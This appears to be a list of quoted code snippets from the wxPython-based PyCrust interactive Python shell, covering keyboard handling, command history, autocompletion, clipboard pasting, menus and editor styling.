"ID_AUTOCOMP_SHOW = wxNewId() ID_AUTOCOMP_INCLUDE_MAGIC = wxNewId() ID_AUTOCOMP_INCLUDE_SINGLE = wxNewId() ID_AUTOCOMP_INCLUDE_DOUBLE = wxNewId() ID_CALLTIPS",
"self.GetSelectionStart() != self.GetSelectionEnd() \\ and self.GetSelectionStart() >= self.promptPosEnd \\ and self.GetSelectionEnd() >= self.promptPosEnd:",
"the enclosing app # to do something more interesting, like write to a",
"elif id == wxID_CLEAR: event.Enable(self.shell.CanCut()) elif id == ID_AUTOCOMP_SHOW: event.Check(self.shell.autoComplete) elif id ==",
"history. self.historyIndex = i break def setStatusText(self, text): \"\"\"Display status information.\"\"\" # This",
"if not self.CanEdit(): return startpos = self.GetCurrentPos() # The text up to the",
"key == WXK_RETURN: if self.AutoCompActive(): self.AutoCompCancel() if self.CallTipActive(): self.CallTipCancel() if (not self.more and",
"elif key == WXK_ESCAPE: if self.CallTipActive(): event.Skip() else: self.clearCommand() # Cut to the",
"a leading prompt.\"\"\" ps1 = str(sys.ps1) ps1size = len(ps1) ps2 = str(sys.ps2) ps2size",
"> 0: searchText = searchText[:-numCharsAfterCursor] if not searchText: return # Search upwards from",
"startpos) def OnHistorySearch(self): \"\"\"Search up the history buffer for the text in front",
"0: command += '\\\\n' command = command.replace( '\\\\n', os.linesep + sys.ps2) self.clearCommand() self.write(command)",
"self.clearCommand() self.write(command) # Process the command if the 'Enter' key was pressed: key",
"== ps1: text = text[ps1size:] elif text[:ps2size] == ps2: text = text[ps2size:] return",
"= wxMessageDialog(self, text, title, wxOK | wxICON_INFORMATION) dialog.ShowModal() dialog.Destroy() def OnAutoCompleteShow(self, event): self.shell.autoComplete",
"valid Python syntax.\"\"\" # XXX Need to extract real prompts here. Need to",
"event): tree = self.crust.filling.fillingTree tree.showDoc = event.IsChecked() tree.update() def OnFillingShowModule(self, event): tree =",
"text = text.replace(os.linesep, '\\n') lines = text.split('\\n') commands = [] command = ''",
"all shell-related functionality. This is a semi-transparent facade, in that all attributes of",
"these keys after the latest prompt. elif key == WXK_DELETE: if self.CanEdit(): event.Skip()",
"position. self.historyIndex = -1 self.historyPrefix = 0 # Insert this command into the",
"and can be copied.\"\"\" return self.GetSelectionStart() != self.GetSelectionEnd() def CanPaste(self): \"\"\"Return true if",
"elif self.AutoCompActive(): event.Skip() # Let Ctrl-Alt-* get handled normally. elif controlDown and altDown:",
"simply sets \"close\", \"exit\" and \"quit\" to a helpful string. \"\"\" import six.moves.builtins",
"wxTheClipboard.Close() def wrap(self, wrap=1): \"\"\"Sets whether text is word wrapped.\"\"\" try: self.SetWrapMode(wrap) except",
"ID_CALLTIPS_SHOW = wxNewId() ID_FILLING = wxNewId() ID_FILLING_AUTO_UPDATE = wxNewId() ID_FILLING_SHOW_METHODS = wxNewId() ID_FILLING_SHOW_CLASS",
"Options') if hasattr( self, 'crust' ): fm = self.fillingMenu = wxMenu() fm.Append(ID_FILLING_AUTO_UPDATE, 'Automatic",
"= self.GetCurrentPos() self.SetSelection(endpos, startpos) # We've now warped into middle of the history.",
"\"fore:#7F007F,face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_WORD, \"fore:#00007F,bold\") self.StyleSetSpec(wxSTC_P_TRIPLE, \"fore:#7F0000\") self.StyleSetSpec(wxSTC_P_TRIPLEDOUBLE, \"fore:#000033,back:#FFFFE8\") self.StyleSetSpec(wxSTC_P_CLASSNAME, \"fore:#0000FF,bold\") self.StyleSetSpec(wxSTC_P_DEFNAME, \"fore:#007F7F,bold\")",
"line break. elif controlDown and key == WXK_RETURN: if self.AutoCompActive(): self.AutoCompCancel() if self.CallTipActive():",
"OnAutoCompleteIncludeMagic(self, event): self.shell.autoCompleteIncludeMagic = event.IsChecked() def OnAutoCompleteIncludeSingle(self, event): self.shell.autoCompleteIncludeSingle = event.IsChecked() def OnAutoCompleteIncludeDouble(self,",
"skip = 1 else: self.write(os.linesep) if not self.more: self.promptPosStart = self.GetCurrentPos() if not",
"else: prompt = str(sys.ps1) pos = self.GetCurLine()[1] if pos > 0: if isreading:",
"docstring in a popup bubble thingie.\"\"\" if self.CallTipActive: self.CallTipCancel() (name, argspec, tip) =",
"wxStyledTextCtrl.__init__(self, parent, id, pos, size, style) # Grab these so they can be",
"+= line commands.append(command) for command in commands: command = command.replace('\\n', os.linesep + sys.ps2)",
"shellLocals.update(locals) # Create a replacement for stdin. self.reader = PseudoFileIn(self.readline) self.reader.input = ''",
"for keyboard events. EVT_KEY_DOWN(self, self.OnKeyDown) EVT_CHAR(self, self.OnChar) # Assign handlers for wxSTC events.",
"= i break def setStatusText(self, text): \"\"\"Display status information.\"\"\" # This method will",
"'Exit PyCrust') m = self.editMenu = wxMenu() m.Append(wxID_UNDO, '&Undo \\tCtrl+Z', 'Undo the last",
"self.OnFillingShowDict) EVT_MENU(self, ID_FILLING_SHOW_DOC, self.OnFillingShowDoc) EVT_MENU(self, ID_FILLING_SHOW_MODULE, self.OnFillingShowModule) EVT_UPDATE_UI(self, ID_FILLING_AUTO_UPDATE, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_METHODS, self.OnUpdateMenu)",
"# Set up the interpreter. self.interp = Interpreter(locals=shellLocals, \\ rawin=self.raw_input, \\ stdin=self.reader, \\",
"= {'__name__': 'PyCrust-Shell', '__doc__': 'PyCrust-Shell, The PyCrust Python Shell.', '__version__': VERSION, } #",
"locals: shellLocals.update(locals) # Create a replacement for stdin. self.reader = PseudoFileIn(self.readline) self.reader.input =",
"Protect the readonly portion of the shell. elif not self.CanEdit(): pass else: event.Skip()",
"runfile(self, filename): \"\"\"Execute all commands in file as if they were typed into",
"command, prompt=1, verbose=1): \"\"\"Execute command within the shell as if it was typed",
"it was typed in directly. >>> shell.run('print \"this\"') >>> print \"this\" this >>>",
"import Interpreter else: Interpreter = InterpClass # Create default locals so we have",
"\"fore:#000033,back:#FFFFE8\") self.StyleSetSpec(wxSTC_P_CLASSNAME, \"fore:#0000FF,bold\") self.StyleSetSpec(wxSTC_P_DEFNAME, \"fore:#007F7F,bold\") self.StyleSetSpec(wxSTC_P_OPERATOR, \"\") self.StyleSetSpec(wxSTC_P_IDENTIFIER, \"\") self.StyleSetSpec(wxSTC_P_COMMENTBLOCK, \"fore:#7F7F7F\") self.StyleSetSpec(wxSTC_P_STRINGEOL, \"fore:#000000,face:%(mono)s,back:#E0C0E0,eolfilled\"",
"text=None, rstrip=1): \"\"\"Extract a command from text which may include a shell prompt.",
"text): \"\"\"Replacement for stderr.\"\"\" self.write(text) def redirectStdin(self, redirect=1): \"\"\"If redirect is true then",
"argspec, tip) = self.interp.getCallTip(command) if argspec: startpos = self.GetCurrentPos() self.write(argspec + ')') endpos",
"self.CallTipCancel() self.Copy() self.ReplaceSelection('') def Copy(self): \"\"\"Copy selection and place it on the clipboard.\"\"\"",
"self.Copy() self.ReplaceSelection('') def Copy(self): \"\"\"Copy selection and place it on the clipboard.\"\"\" if",
"a previous command and then press F8.) F9 Pop-up window of matching History",
"if len(completions) == 0: return 0 if len(completions) == 1: self.write(completions[0][len(command):]) else: self.AutoCompShow(len(command),",
"size, style) # Grab these so they can be restored by self.redirect* methods.",
"return 1 def writeOut(self, text): \"\"\"Replacement for stdout.\"\"\" self.write(text) def writeErr(self, text): \"\"\"Replacement",
"in which a user types in commands to be sent to the interpreter.",
"spec and docstring in a popup bubble thingie.\"\"\" if self.CallTipActive: self.CallTipCancel() (name, argspec,",
"ord('('): # The left paren activates a call tip and cancels # an",
"tree view', 1) fm.Append(ID_FILLING_SHOW_CLASS, 'Show __class__', 'Show __class__ entries in the tree view',",
"self.StyleSetSpec(wxSTC_STYLE_BRACEBAD, \"fore:#FF0000,back:#FFFF88\") # Python styles self.StyleSetSpec(wxSTC_P_DEFAULT, \"face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_COMMENTLINE, \"fore:#007F00,face:%(mono)s\" % faces)",
"cursor. # Add the autocomplete character to the end of the command. command",
"= wxTextDataObject() if wxTheClipboard.GetData(data): endpos = self.GetTextLength() self.SetCurrentPos(endpos) startpos = self.promptPosEnd self.SetSelection(startpos, endpos)",
"if wxTheClipboard.GetData(data): endpos = self.GetTextLength() self.SetCurrentPos(endpos) startpos = self.promptPosEnd self.SetSelection(startpos, endpos) self.ReplaceSelection('') text",
"endings replaced by OS-specific endings.\"\"\" lines = text.split('\\r\\n') for l in range(len(lines)): chunks",
"= self.editMenu = wxMenu() m.Append(wxID_UNDO, '&Undo \\tCtrl+Z', 'Undo the last action') m.Append(wxID_REDO, '&Redo",
"key in (ord('L'), ord('l')): pass # Don't allow line transposition. elif controlDown and",
"b.Append(self.helpMenu, '&Help') self.SetMenuBar(b) EVT_MENU(self, wxID_EXIT, self.OnExit) EVT_MENU(self, wxID_UNDO, self.OnUndo) EVT_MENU(self, wxID_REDO, self.OnRedo) EVT_MENU(self,",
"text = 'PyCrust %s\\n\\n' % VERSION + \\ 'Yet another Python shell, only",
">= self.promptPosEnd: return 1 else: return 0 def CanCopy(self): \"\"\"Return true if text",
"wxTheClipboard.Close() return def PasteAndRun(self): \"\"\"Replace selection with clipboard contents, run commands.\"\"\" if wxTheClipboard.Open():",
"\"\"\"The PyCrust Shell is an interactive text control in which a user types",
"Sans MS', 'size' : 10, 'lnsize' : 9, 'backcol': '#FFFFFF', } # Versions",
"to the user.\"\"\" name = 'PyCrust Shell Interface' revision = __revision__ def __init__(self,",
"0: charBefore = 32 # Mimic a space. #*** styleBefore = self.GetStyleAt(caretPos -",
"chr(charBefore) in '[]{}()' \\ and styleBefore == wxSTC_P_OPERATOR: braceAtCaret = caretPos - 1",
"ord('t')): pass # Basic navigation keys should work anywhere. elif key in NAVKEYS:",
"os.linesep.join(chunks[c].split('\\n')) lines[l] = os.linesep.join(chunks) text = os.linesep.join(lines) return text def prompt(self): \"\"\"Display appropriate",
"lines[l] = os.linesep.join(chunks) text = os.linesep.join(lines) return text def prompt(self): \"\"\"Display appropriate prompt",
"try: self.SetWrapMode(wrap) except AttributeError: return 'Wrapping is not available in this version of",
"\"\"\"Mixin class to add standard menu items.\"\"\" def createMenus(self): m = self.fileMenu =",
"New', 'helv' : 'Lucida Console', 'lucida' : 'Lucida Console', 'other' : 'Comic Sans",
"history. self.history = [] self.historyIndex = -1 self.historyPrefix = 0 # Assign handlers",
"choose to hide rather than # quit so we should just post the",
"replace the current command with the other command. else: # If the line",
"in the tree view', 1) fm.Append(ID_FILLING_SHOW_CLASS, 'Show __class__', 'Show __class__ entries in the",
"quit(self): \"\"\"Quit the application.\"\"\" # XXX Good enough for now but later we",
"MS', 'size' : 10, 'lnsize' : 9, 'backcol': '#FFFFFF', } # Versions of",
"(self.GetTextRange(self.promptPosEnd, self.GetCurrentPos()) == '')): self.historyShow() else: self.insertLineBreak() # If the auto-complete window is",
"this >>> \"\"\" # Go to the very bottom of the text. endpos",
"the close button to leave the application.') def setLocalShell(self): \"\"\"Add 'shell' to locals",
"curpos - (len(name) + 1) fallback = curpos - self.GetColumn(curpos) # In case",
"from .drag_and_drop import clipboard as enClipboard sys.ps3 = '<-- ' # Input prompt.",
"key == WXK_INSERT: pass # Don't allow line deletion. elif controlDown and key",
"the list (ie. at index 0) as they are entered. self.historyIndex # is",
"instance data = enClipboard.data self.python_obj_paste_handler(data) finally: wxTheClipboard.Close() return def PasteAndRun(self): \"\"\"Replace selection with",
"rather than # quit so we should just post the event and let",
"is a continuation line, autoindent as necessary.\"\"\" isreading = self.reader.isreading skip = 0",
"self.python_obj_paste_handler(data) finally: wxTheClipboard.Close() return def PasteAndRun(self): \"\"\"Replace selection with clipboard contents, run commands.\"\"\"",
"insertLineBreak(self): \"\"\"Insert a new line break.\"\"\" if self.CanEdit(): self.write(os.linesep) self.more = 1 self.prompt()",
"+ \\ 'Interpreter Revision: %s\\n\\n' % self.shell.interp.revision + \\ 'Python Version: %s\\n' %",
"newindex = self.historyIndex + step if -1 <= newindex <= len(history): self.historyIndex =",
"Auto Completion', \\ 'Show auto completion during dot syntax', 1) m.Append(ID_AUTOCOMP_INCLUDE_MAGIC, 'Include Magic",
"and \\ self.python_obj_paste_handler is not None: # note that the presence of a",
"to add standard menu items.\"\"\" def createMenus(self): m = self.fileMenu = wxMenu() m.AppendSeparator()",
"the line. End Go to the end of the line. Ctrl+C Copy selected",
"searchOrder: command = self.history[i] if command[:len(searchText)] == searchText: # Replace the current selection",
"= self.GetCurrentPos() if not skip: self.write(prompt) if not self.more: self.promptPosEnd = self.GetCurrentPos() #",
"selection') m.Append(wxID_PASTE, '&Paste \\tCtrl+V', 'Paste') m.AppendSeparator() m.Append(wxID_CLEAR, 'Cle&ar', 'Delete the selection') m.Append(wxID_SELECTALL, 'Select",
"= other d['helpText'] = \\ \"\"\" * Key bindings: Home Go to the",
"a command (even an invalid one). if self.getCommand(rstrip=0): command = self.getMultilineCommand() self.clearCommand() self.write(command)",
"includeDouble=self.autoCompleteIncludeDouble) if list: options = '\\n'.join(list) offset = 0 self.AutoCompShow(offset, options) def autoCallTipShow(self,",
"and key in (ord('P'), ord('p'))): self.OnHistoryReplace(step=+1) # Replace with the next command from",
"decide what to do. They could be # sitting on any line in",
"wxOK | wxICON_INFORMATION) dialog.ShowModal() dialog.Destroy() def OnAutoCompleteShow(self, event): self.shell.autoComplete = event.IsChecked() def OnAutoCompleteIncludeMagic(self,",
"# Assign handlers for keyboard events. EVT_KEY_DOWN(self, self.OnKeyDown) EVT_CHAR(self, self.OnChar) # Assign handlers",
"# Find out for which keycodes the interpreter will autocomplete. self.autoCompleteKeys = self.interp.getAutoCompleteKeys()",
"'' # Real commands have prompts. if rstrip: command = command.rstrip() return command",
"self.write(os.linesep) busy = wxBusyCursor() self.more = self.interp.push(command) del busy if not self.more: self.addHistory(command.rstrip())",
"return text def prompt(self): \"\"\"Display appropriate prompt for the context, either ps1, ps2",
"shell methods silently. self.run(command, prompt=0, verbose=0) else: self.run(command, prompt=0, verbose=1) finally: file.close() def",
"self.run(command, prompt=0, verbose=1) finally: file.close() def autoCompleteShow(self, command): \"\"\"Display auto-completion popup list.\"\"\" list",
"'\\n', '\\\\n' ) if (prefix == item[:len(prefix)]) and item not in items: items.append(item)",
"context, either ps1, ps2 or ps3. If this is a continuation line, autoindent",
"Retrieve Previous History item. Alt+P Retrieve Previous History item. Ctrl+Down Arrow Retrieve Next",
"from undoing previous responses. self.EmptyUndoBuffer() # XXX Add some autoindent magic here if",
"loop back # to the beginning if we don't find anything. if (self.historyIndex",
"as necessary.\"\"\" isreading = self.reader.isreading skip = 0 if isreading: prompt = str(sys.ps3)",
"= event.GetKey() if key == 28 or key == 1241712: # Is there",
"\"\"\"Get response from the user using a dialog box.\"\"\" dialog = wxTextEntryDialog(None, prompt,",
"line contains a command (even an invalid one). if self.getCommand(rstrip=0): command = self.getMultilineCommand()",
"so the user has complete control over their # environment. They can override",
"text finally: dialog.Destroy() return '' def pause(self): \"\"\"Halt execution pending a response from",
"half is still in the oven.\\n\\n' + \\ 'Shell Revision: %s\\n' % self.shell.revision",
"wxID_CUT, self.OnCut) EVT_MENU(self, wxID_COPY, self.OnCopy) EVT_MENU(self, wxID_PASTE, self.OnPaste) EVT_MENU(self, wxID_CLEAR, self.OnClear) EVT_MENU(self, wxID_SELECTALL,",
"'PyCrust %s\\n\\n' % VERSION + \\ 'Yet another Python shell, only flakier.\\n\\n' +",
"line else: # Multiline command. Add to the command. command += '\\n' command",
"previous responses. self.EmptyUndoBuffer() # XXX Add some autoindent magic here if more. if",
"off the front of text. if text[:ps1size] == ps1: text = text[ps1size:] elif",
"locals as reference to ShellFacade instance.\"\"\" self.interp.locals['shell'] = ShellFacade(other=self) def execStartupScript(self, startupScript): \"\"\"Execute",
"open source! # # Author: Enthought, Inc. # Description: <Enthought util package component>",
"line in the shell. thepos = self.GetCurrentPos() startpos = self.promptPosEnd endpos = self.GetTextLength()",
"clipboard, including prompts. elif controlDown and shiftDown \\ and key in (ord('C'), ord('c'),",
"and the cursor. # Add the autocomplete character to the end of the",
"same as the last command. if command != '' \\ and (len(self.history) ==",
"self.OnClear) EVT_MENU(self, wxID_SELECTALL, self.OnSelectAll) EVT_MENU(self, wxID_ABOUT, self.OnAbout) EVT_MENU(self, ID_AUTOCOMP_SHOW, \\ self.OnAutoCompleteShow) EVT_MENU(self, ID_AUTOCOMP_INCLUDE_MAGIC,",
"# Don't toggle between insert mode and overwrite mode. elif key == WXK_INSERT:",
"styleBefore == wxSTC_P_OPERATOR: braceAtCaret = caretPos - 1 # Check after. if braceAtCaret",
"modify text, so we need to see if there # is a selection",
"the cursor back where we started. else: self.SetCurrentPos(thepos) self.SetAnchor(thepos) def getMultilineCommand(self, rstrip=1): \"\"\"Extract",
"the aforementioned license. The license # is also available online at http://www.enthought.com/licenses/BSD.txt #",
"self.historyPrefix = 0 # Insert this command into the history, unless it's a",
"self.promptPosEnd = self.GetCurrentPos() # Keep the undo feature from undoing previous responses. self.EmptyUndoBuffer()",
"text is word wrapped.\"\"\" try: self.SetWrapMode(wrap) except AttributeError: return 'Wrapping is not available",
"if hasattr(self.other, name): return getattr(self.other, name) else: raise AttributeError(name) def __setattr__(self, name, value):",
"handler in self.handlers: handler() self.prompt() def addHistory(self, command): \"\"\"Add command to the command",
"'&File') b.Append(self.editMenu, '&Edit') b.Append(self.optionsMenu, '&Options') b.Append(self.helpMenu, '&Help') self.SetMenuBar(b) EVT_MENU(self, wxID_EXIT, self.OnExit) EVT_MENU(self, wxID_UNDO,",
"controlDown and key == WXK_RETURN: if self.AutoCompActive(): self.AutoCompCancel() if self.CallTipActive(): self.CallTipCancel() if (not",
"* import keyword import os import sys from wx.py.pseudo import PseudoFileIn, PseudoFileOut, PseudoFileErr",
"decremented as you retrieve the # next, and reset when you hit Enter.",
"= event.IsChecked() def OnFillingAutoUpdate(self, event): tree = self.crust.filling.fillingTree tree.autoUpdate = event.IsChecked() tree.if_autoUpdate() def",
"out for which keycodes the interpreter will autocomplete. self.autoCompleteKeys = self.interp.getAutoCompleteKeys() # Keep",
"license # is also available online at http://www.enthought.com/licenses/BSD.txt # Thanks for using Enthought",
"== searchText: # Replace the current selection with the one we've found. self.ReplaceSelection(command[len(searchText):])",
"argument help? self.autoCallTip = 1 self.CallTipSetBackground(wxColour(255, 255, 232)) self.wrap() try: self.SetEndAtLastLine(false) except AttributeError:",
"includeMagic=self.autoCompleteIncludeMagic, includeSingle=self.autoCompleteIncludeSingle, includeDouble=self.autoCompleteIncludeDouble) if list: options = '\\n'.join(list) offset = 0 self.AutoCompShow(offset, options)",
"key in (ord('X'), ord('x'))) \\ or (shiftDown and key == WXK_DELETE): self.Cut() #",
"replaceFromHistory(self, step, history=None): \"\"\"Replace selection with command from the history buffer.\"\"\" self.ReplaceSelection('') if",
"items.append(item) self.UserListShow(1, '\\n'.join(items)) def OnHistorySelected(self, event): command = event.GetText() if command.find('\\\\n') >= 0:",
"at http://www.enthought.com/licenses/BSD.txt # Thanks for using Enthought open source! # # Author: Enthought,",
"self.GetCurrentPos() tippos = curpos - (len(name) + 1) fallback = curpos - self.GetColumn(curpos)",
"self.CanEdit(): self.OnHistoryInsert(step=+1) # Insert the next command from the history buffer. elif (shiftDown",
"value elif hasattr(self.other, name): return setattr(self.other, name, value) else: raise AttributeError(name) def _getAttributeNames(self):",
"the introductory banner information. try: self.showIntro(introText) except: pass # Assign some pseudo keywords",
"WXK_INSERT): self.CopyWithPrompts() # Home needs to be aware of the prompt. elif key",
"wxTheClipboard.IsSupported(wxDataFormat(wxDF_TEXT)): data = wxTextDataObject() if wxTheClipboard.GetData(data): self.ReplaceSelection('') command = data.GetText() command = command.rstrip()",
"used to insert a line break. elif controlDown and key == WXK_RETURN: if",
"+ sys.ps2) self.write(command) if wxTheClipboard.IsSupported(PythonObject) and \\ self.python_obj_paste_handler is not None: # note",
"= self.promptPosEnd self.SetSelection(startpos, endpos) self.ReplaceSelection('') text = data.GetText() text = text.strip() text =",
"self.SetEndAtLastLine(false) except AttributeError: pass def showIntro(self, text=''): \"\"\"Display introductory text in the shell.\"\"\"",
"pass wxCallAfter(self.ScrollToLine, 0) def setBuiltinKeywords(self): \"\"\"Create pseudo keywords as part of builtins. This",
"text = self.GetCurLine()[0] if text[:ps1size] == ps1: line = self.GetCurrentLine() self.GotoLine(line) startpos =",
"<<EMAIL>>\" __cvsid__ = \"$Id: shell.py,v 1.2 2003/06/13 17:59:34 dmorrill Exp $\" __revision__ =",
"a response from the user.\"\"\" self.ask('Press enter to continue:') def clear(self): \"\"\"Delete all",
"but later we want to send a close event. # In the close",
"portion of the shell. elif not self.CanEdit(): pass else: event.Skip() def clearCommand(self): \"\"\"Delete",
"wxSTC_P_OPERATOR: braceAtCaret = caretPos if braceAtCaret >= 0: braceOpposite = self.BraceMatch(braceAtCaret) if braceAtCaret",
"Reset the history position. self.historyIndex = -1 self.historyPrefix = 0 # Insert this",
"self.history.insert(0, command) def write(self, text): \"\"\"Display text in the shell. Replace line endings",
"EVT_UPDATE_UI(self, ID_FILLING_SHOW_METHODS, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_CLASS, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_DICT, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_DOC, self.OnUpdateMenu) EVT_UPDATE_UI(self,",
"(altDown and key in (ord('P'), ord('p'))): self.OnHistoryReplace(step=+1) # Replace with the next command",
"in (ord('N'), ord('n'))): self.OnHistoryReplace(step=-1) # Insert the previous command from the history buffer.",
"the tree view', 1) m.AppendMenu(ID_FILLING, '&Filling', fm, 'Filling Options') m = self.helpMenu =",
"else: raise AttributeError(name) def __setattr__(self, name, value): if name in self.__dict__: self.__dict__[name] =",
"the front of # the list (ie. at index 0) as they are",
"self.lstripPrompt(text=text) text = text.replace(os.linesep + sys.ps1, '\\n') text = text.replace(os.linesep + sys.ps2, '\\n')",
"real prompts here. Need to keep track of the # prompt every time",
"- (len(name) + 1) fallback = curpos - self.GetColumn(curpos) # In case there",
"Arrow Retrieve Previous History item. Alt+P Retrieve Previous History item. Ctrl+Down Arrow Retrieve",
"undo feature from undoing previous responses. self.EmptyUndoBuffer() # XXX Add some autoindent magic",
"command): \"\"\"Send command to the interpreter for execution.\"\"\" self.write(os.linesep) busy = wxBusyCursor() self.more",
"endpos = self.GetTextLength() self.SetSelection(startpos, endpos) self.ReplaceSelection('') self.more = 0 def OnHistoryReplace(self, step): \"\"\"Replace",
"+ \\ 'wxPython Version: %s\\n' % wx.__version__ + \\ 'Platform: %s\\n' % sys.platform",
"WXK_PRIOR, WXK_NEXT) if wxPlatform == '__WXMSW__': faces = { 'times' : 'Times New",
"the tree view', 1) fm.Append(ID_FILLING_SHOW_CLASS, 'Show __class__', 'Show __class__ entries in the tree",
"self.GetCharAt(caretPos - 1) #*** Patch to fix bug in wxSTC for wxPython <",
"showIntro(self, text=''): \"\"\"Display introductory text in the shell.\"\"\" if text: if not text.endswith(os.linesep):",
"self.StyleSetSpec(wxSTC_STYLE_DEFAULT, \"face:%(mono)s,size:%(size)d,back:%(backcol)s\" % faces) self.StyleClearAll() # Built in styles self.StyleSetSpec(wxSTC_STYLE_LINENUMBER, \"back:#C0C0C0,face:%(mono)s,size:%(lnsize)d\" % faces)",
"= '' reader.isreading = 0 return input def raw_input(self, prompt=''): \"\"\"Return string based",
"# Create the command history. Commands are added into the front of #",
"key == WXK_HOME: home = self.promptPosEnd if currpos > home: self.SetCurrentPos(home) if not",
"'\\n') command = command.replace(os.linesep, '\\n') command = command.replace('\\n', os.linesep + sys.ps2) self.write(command) if",
"sys.ps2, '\\n') text = text.replace(os.linesep, '\\n') lines = text.split('\\n') commands = [] command",
"self.interp.getCallTip(command) if argspec: startpos = self.GetCurrentPos() self.write(argspec + ')') endpos = self.GetCurrentPos() self.SetSelection(endpos,",
"ID_FILLING_SHOW_MODULE, self.OnFillingShowModule) EVT_UPDATE_UI(self, ID_FILLING_AUTO_UPDATE, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_METHODS, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_CLASS, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_DICT,",
"six.moves.builtins.close = six.moves.builtins.exit = six.moves.builtins.quit = \\ 'Click on the close button to",
"matching braces.\"\"\" braceAtCaret = -1 braceOpposite = -1 charBefore = None caretPos =",
"to the end of the command. self.ReplaceSelection('') command = self.GetTextRange(stoppos, currpos) + '('",
"def setBuiltinKeywords(self): \"\"\"Create pseudo keywords as part of builtins. This simply sets \"close\",",
"sys.ps2) else: command = '' if rstrip: command = command.rstrip() return command def",
"execution.\"\"\" self.write(os.linesep) busy = wxBusyCursor() self.more = self.interp.push(command) del busy if not self.more:",
"searchText[:-numCharsAfterCursor] if not searchText: return # Search upwards from the current history position",
"# Default style self.StyleSetSpec(wxSTC_STYLE_DEFAULT, \"face:%(mono)s,size:%(size)d,back:%(backcol)s\" % faces) self.StyleClearAll() # Built in styles self.StyleSetSpec(wxSTC_STYLE_LINENUMBER,",
"Show all history entries that match the command typed so far: elif key",
"\"\"\"Display argument spec and docstring in a popup bubble thingie.\"\"\" if self.CallTipActive: self.CallTipCancel()",
"anything they want. try: self.execStartupScript(self.interp.startupScript) except: pass def destroy(self): # del self.interp pass",
"sys title = 'About PyCrust' text = 'PyCrust %s\\n\\n' % VERSION + \\",
"open(filename) try: self.prompt() for command in file.readlines(): if command[:6] == 'shell.': # Run",
"= self.GetCurrentPos() # Keep the undo feature from undoing previous responses. self.EmptyUndoBuffer() #",
"= self.stdout def redirectStderr(self, redirect=1): \"\"\"If redirect is true then sys.stderr will go",
"% faces) self.StyleSetSpec(wxSTC_STYLE_CONTROLCHAR, \"face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_STYLE_BRACELIGHT, \"fore:#0000FF,back:#FFFF88\") self.StyleSetSpec(wxSTC_STYLE_BRACEBAD, \"fore:#FF0000,back:#FFFF88\") # Python styles",
"\\ locals=None, InterpClass=None, *args, **kwds): \"\"\"Create a PyCrust Shell instance.\"\"\" wxStyledTextCtrl.__init__(self, parent, id,",
"Ctrl+Down Arrow Retrieve Next History item. Alt+N Retrieve Next History item. Shift+Up Arrow",
"if not skip: self.write(prompt) if not self.more: self.promptPosEnd = self.GetCurrentPos() # Keep the",
"self.write(prompt) if not self.more: self.promptPosEnd = self.GetCurrentPos() # Keep the undo feature from",
"endpos = self.GetTextLength() # If they hit RETURN inside the current command, execute",
"up let it do its thing. elif self.AutoCompActive(): event.Skip() # Let Ctrl-Alt-* get",
"self.GotoLine(line) stoppos = self.GetCurrentPos() command = self.GetTextRange(startpos, stoppos) command = command.replace(os.linesep + sys.ps2,",
"# Input prompt. NAVKEYS = (WXK_END, WXK_LEFT, WXK_RIGHT, WXK_UP, WXK_DOWN, WXK_PRIOR, WXK_NEXT) if",
"self.StyleSetSpec(wxSTC_P_STRING, \"fore:#7F007F,face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_CHARACTER, \"fore:#7F007F,face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_WORD, \"fore:#00007F,bold\") self.StyleSetSpec(wxSTC_P_TRIPLE, \"fore:#7F0000\") self.StyleSetSpec(wxSTC_P_TRIPLEDOUBLE,",
"Shell based on wxStyledTextCtrl.\"\"\" name = 'PyCrust Shell' revision = __revision__ def __init__(self,",
"self.GetTextRange(stoppos, currpos) if command == '': self.historyShow() else: command += chr(key) self.write(chr(key)) if",
"event.GetText() if command.find('\\\\n') >= 0: command += '\\\\n' command = command.replace( '\\\\n', os.linesep",
"ID_CALLTIPS_SHOW: event.Check(self.shell.autoCallTip) elif id == ID_FILLING_AUTO_UPDATE: event.Check(self.crust.filling.fillingTree.autoUpdate) elif id == ID_FILLING_SHOW_METHODS: event.Check(self.crust.filling.fillingTree.showMethods) elif",
"on user input.\"\"\" if prompt: self.write(prompt) return self.readline() def ask(self, prompt='Please enter your",
"Next History item. Alt+N Retrieve Next History item. Shift+Up Arrow Insert Previous History",
"'&About...', 'About PyCrust') b = self.menuBar = wxMenuBar() b.Append(self.fileMenu, '&File') b.Append(self.editMenu, '&Edit') b.Append(self.optionsMenu,",
"hasattr( self, 'crust' ): EVT_MENU(self, ID_FILLING_AUTO_UPDATE, self.OnFillingAutoUpdate) EVT_MENU(self, ID_FILLING_SHOW_METHODS, self.OnFillingShowMethods) EVT_MENU(self, ID_FILLING_SHOW_CLASS, self.OnFillingShowClass)",
"= 'PyCrust %s\\n\\n' % VERSION + \\ 'Yet another Python shell, only flakier.\\n\\n'",
"'Startup script executed: ' + startupScript self.push('print %s;execfile(%s)' % \\ ('startupText', 'startupScript')) else:",
"Copy selected text, retaining prompts. Ctrl+X Cut selected text. Ctrl+V Paste from clipboard.",
"(ord('X'), ord('x'))) \\ or (shiftDown and key == WXK_DELETE): self.Cut() # Copy to",
"str(sys.ps1) pos = self.GetCurLine()[1] if pos > 0: if isreading: skip = 1",
"typeface and color for lexer.\"\"\" # Default style self.StyleSetSpec(wxSTC_STYLE_DEFAULT, \"face:%(mono)s,size:%(size)d,back:%(backcol)s\" % faces) self.StyleClearAll()",
"= self.getCommand(rstrip=0) if numCharsAfterCursor > 0: searchText = searchText[:-numCharsAfterCursor] if not searchText: return",
"of the line. End Go to the end of the line. Ctrl+C Copy",
"user using a dialog box.\"\"\" dialog = wxTextEntryDialog(None, prompt, \\ 'Input Dialog (Raw)',",
